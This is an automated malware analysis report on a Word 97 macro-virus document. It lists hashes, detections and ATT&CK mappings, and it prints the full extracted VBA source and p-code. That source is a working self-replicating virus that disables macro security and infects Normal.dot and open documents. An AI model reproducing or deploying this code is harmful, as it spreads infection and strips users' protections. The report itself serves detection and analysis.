Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f41a7b792eb2e8e4…

MALICIOUS

Office (OLE)

36.5 KB Created: 2002-04-04 13:51:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-15
MD5: 02776482639be9994c5ca1410e66e650 SHA-1: c25bf1aed1f5b2cab355cb0d3acb5a3941e30f6e SHA-256: f41a7b792eb2e8e4175f790c5e4b6d07bd5699754677e1ffd2abdf3439b32297
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro that exhibits self-replication behavior, attempting to copy its code into the Normal template and the active document. It also attempts to disable macro security warnings by modifying the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level. This behavior suggests an attempt to persist and spread, characteristic of a macro-based malware.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If NTColLn > 0 Then NormTemp.CodeModule.DeleteLines 1, NTColLn
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10898 bytes
SHA-256: 385cb776d4e371a8548486272a61e629c034bb91857a6c9d112826ce015e1b79
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThissDocument"
Attribute VB_Base = "1Normal.ThissDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
' Åñëè òû ÷èòàåøü ýòè ñòðîêè, çíà÷èò òû óæå íåìíîãî øàðèøü
' â ìàêðîñàõ, è ýòî åñòü õîðîøî.  Òû ñïàñèòåëü ìèðà, è òîëüêî
' òû äîëæåí ðàçîáðàòüñÿ êàê îí ðàáîòàåò è óäàëèòü Åãî. Óäà÷è!.
' Ýòîò êîä íàïèñàí â ÷èñòî ïîçíàâàòåëüíûõ öåëÿõ (êîíå÷íî
' îí íåìíîãî ëåâûé, íî ÿ è íå ñîáèðàëñÿ íàïèñàòü êðóòîé âèðóñ
' è âñå ïîõåðèòü, ïðîñòî îí óíè÷òîæàåò  äðóãèå âèðóñû ...)
' Ñ íàèëó÷øèìè ïîæåëàíèÿìè Extremist  :-)
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls(3).Enabled = False
CommandBars("Macro").Controls(4).Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
'CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Set ActDoc = ActiveDocument.VBProject.VBComponents.Item(1)
Set NormTemp = NormalTemplate.VBProject.VBComponents.Item(1)
NTColLn = NormTemp.CodeModule.CountOfLines
ADColLn = ActDoc.CodeModule.CountOfLines
BGN = 2
If ActDoc.Name <> "ThissDocument" Or ADColLn < 4 Then DoAD = True
If NormTemp.Name <> "ThissDocument" Or NTColLn < 4 Then DoNT = True
If DoNT <> True And DoAD <> True Then GoTo NoToInfect
'
If DoNT = True Then
NormTemp.Name = "ThissDocument"
If NTColLn > 0 Then NormTemp.CodeModule.DeleteLines 1, NTColLn
Do While ActDoc.CodeModule.Lines(1, 1) = ""
ActDoc.CodeModule.DeleteLines 1
Loop
NormTemp.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ActDoc.CodeModule.Lines(BGN, 1) <> ""
NormTemp.CodeModule.InsertLines BGN, ActDoc.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
'
If DoAD = True Then
ActDoc.Name = "ThissDocument"
If ADColLn > 0 Then ActDoc.CodeModule.DeleteLines 1, ADColLn
Do While NormTemp.CodeModule.Lines(1, 1) = ""
NormTemp.CodeModule.DeleteLines 1
Loop
ActDoc.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NormTemp.CodeModule.Lines(BGN, 1) <> ""
ActDoc.CodeModule.InsertLines BGN, NormTemp.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
NoToInfect:
'Destruct
If Year(Now) > 2001 And Rnd > 0.95 Then
Selection.EndKey wdStory
Selection.TypeParagraph
Selection.TypeText "Hi LameR": Selection.TypeParagraph
Selection.TypeText "The Extremist has you..": Selection.TypeParagraph
Selection.LanguageID = wdRussian
End If
'
If NTColLn <> 0 And ADColLn = 0 And (InStr(1, ActiveDocument.Name, "Äîêóìåíò") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Äîêóìåíò") = True) Then
ActiveDocument.Saved = True: End If
End Sub

' Processing file: /opt/analyzer/scan_staging/59b61bf69745487dbfd29988c87ae603.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThissDocument - 5339 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	QuoteRem 0x0000 0x0039 " Åñëè òû ÷èòàåøü ýòè ñòðîêè, çíà÷èò òû óæå íåìíîãî øàðèøü"
' Line #2:
' 	QuoteRem 0x0000 0x003C " â ìàêðîñàõ, è ýòî åñòü õîðîøî.  Òû ñïàñèòåëü ìèðà, è òîëüêî"
' Line #3:
' 	QuoteRem 0x0000 0x003D " òû äîëæåí ðàçîáðàòüñÿ êàê îí ðàáîòàåò è óäàëèòü Åãî. Óäà÷è!."
' Line #4:
' 	QuoteRem 0x0000 0x0037 " Ýòîò êîä íàïèñàí â ÷èñòî ïîçíàâàòåëüíûõ öåëÿõ (êîíå÷íî"
' Line #5:
' 	QuoteRem 0x0000 0x003C " îí íåìíîãî ëåâûé, íî ÿ è íå ñîáèðàëñÿ íàïèñàòü êðóòîé âèðóñ"
' Line #6:
' 	QuoteRem 0x0000 0x0039 " è âñå ïîõåðèòü, ïðîñòî îí óíè÷òîæàåò  äðóãèå âèðóñû ...)"
' Line #7:
' 	QuoteRem 0x0000 0x0028 " Ñ íàèëó÷øèìè ïîæåëàíèÿìè Extremist  :-)"
' Line #8:
' 	OnError (Resume Next) 
' Line #9:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #10:
' 	LitVarSpecial (False)
' 	LitDI2 0x0003 
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #11:
' 	LitVarSpecial (False)
' 	LitDI2 0x0004 
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #12:
' 	LitDI4 0x0001 0x0000 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #13:
' 	ElseBlock 
' Line #14:
' 	QuoteRem 0x0000 0x0036 "CommandBars("Tools").Controls("Macro").Enabled = False"
' Line #15:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ActDoc 
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set NormTemp 
' Line #19:
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St NTColLn 
' Line #20:
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ADColLn 
' Line #21:
' 	LitDI2 0x0002 
' 	St BGN 
' Line #22:
' 	Ld ActDoc 
' 	MemLd New 
' 	LitStr 0x000D "ThissDocument"
' 	Ne 
' 	Ld ADColLn 
' 	LitDI2 0x0004 
' 	Lt 
' 	Or 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St DoAD 
' 	EndIf 
' Line #23:
' 	Ld NormTemp 
' 	MemLd New 
' 	LitStr 0x000D "ThissDocument"
' 	Ne 
' 	Ld NTColLn 
' 	LitDI2 0x0004 
' 	Lt 
' 	Or 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St DoNT 
' 	EndIf 
' Line #24:
' 	Ld DoNT 
' 	LitVarSpecial (True)
' 	Ne 
' 	Ld DoAD 
' 	LitVarSpecial (True)
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo NoToInfect 
' 	EndIf 
' Line #25:
' 	QuoteRem 0x0000 0x0000 ""
' Line #26:
' 	Ld DoNT 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #27:
' 	LitStr 0x000D "ThissDocument"
' 	Ld NormTemp 
' 	MemSt New 
' Line #28:
' 	Ld NTColLn 
' 	LitDI2 0x0000 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld NTColLn 
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' 	EndIf 
' Line #29:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	DoWhile 
' Line #30:
' 	LitDI2 0x0001 
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #31:
' 	Loop 
' Line #32:
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Paren 
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #33:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	DoWhile 
' Line #34:
' 	Ld BGN 
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #35:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Add 
' 	St BGN 
' Line #36:
' 	Loop 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	QuoteRem 0x0000 0x0000 ""
' Line #39:
' 	Ld DoAD 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #40:
' 	LitStr 0x000D "ThissDocument"
' 	Ld ActDoc 
' 	MemSt New 
' Line #41:
' 	Ld ADColLn 
' 	LitDI2 0x0000 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld ADColLn 
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' 	EndIf 
' Line #42:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	DoWhile 
' Line #43:
' 	LitDI2 0x0001 
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #44:
' 	Loop 
' Line #45:
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	Paren 
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #46:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	DoWhile 
' Line #47:
' 	Ld BGN 
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld NormTemp 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld ActDoc 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #48:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Add 
' 	St BGN 
' Line #49:
' 	Loop 
' Line #50:
' 	EndIfBlock 
' Line #51:
' 	Label NoToInfect 
' Line #52:
' 	QuoteRem 0x0000 0x0008 "Destruct"
' Line #53:
' 	Ld Now 
' 	ArgsLd Year 0x0001 
' 	LitDI2 0x07D1 
' 	Gt 
' 	Ld Rnd 
' 	LitR8 0x6666 0x6666 0x6666 0x3FEE 
' 	Gt 
' 	And 
' 	IfBlock 
' Line #54:
' 	Ld wdStory 
' 	Ld Selection 
' 	ArgsMemCall EndKey 0x0001 
' Line #55:
' 	Ld Selection 
' 	ArgsMemCall TypeParagraph 0x0000 
' Line #56:
' 	LitStr 0x0008 "Hi LameR"
' 	Ld Selection 
' 	ArgsMemCall TypeText 0x0001 
' 	BoS 0x0000 
' 	Ld Selection 
' 	ArgsMemCall TypeParagraph 0x0000 
' Line #57:
' 	LitStr 0x0017 "The Extremist has you.."
' 	Ld Selection 
' 	ArgsMemCall TypeText 0x0001 
' 	BoS 0x0000 
' 	Ld Selection 
' 	ArgsMemCall TypeParagraph 0x0000 
' Line #58:
' 	Ld wdRussian 
' 	Ld Selection 
' 	MemSt LanguageID 
' Line #59:
' 	EndIfBlock 
' Line #60:
' 	QuoteRem 0x0000 0x0000 ""
' Line #61:
' 	Ld NTColLn 
' 	LitDI2 0x0000 
' 	Ne 
' 	Ld ADColLn 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitStr 0x0008 "Äîêóìåíò"
' 	FnInStr3 
' 	LitVarSpecial (False)
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #62:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #63:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitStr 0x0008 "Äîêóìåíò"
' 	FnInStr3 
' 	LitVarSpecial (True)
' 	Eq 
' 	Paren 
' 	ElseIfBlock 
' Line #64:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' 	BoS 0x0000 
' 	EndIfBlock 
' Line #65:
' 	EndSub

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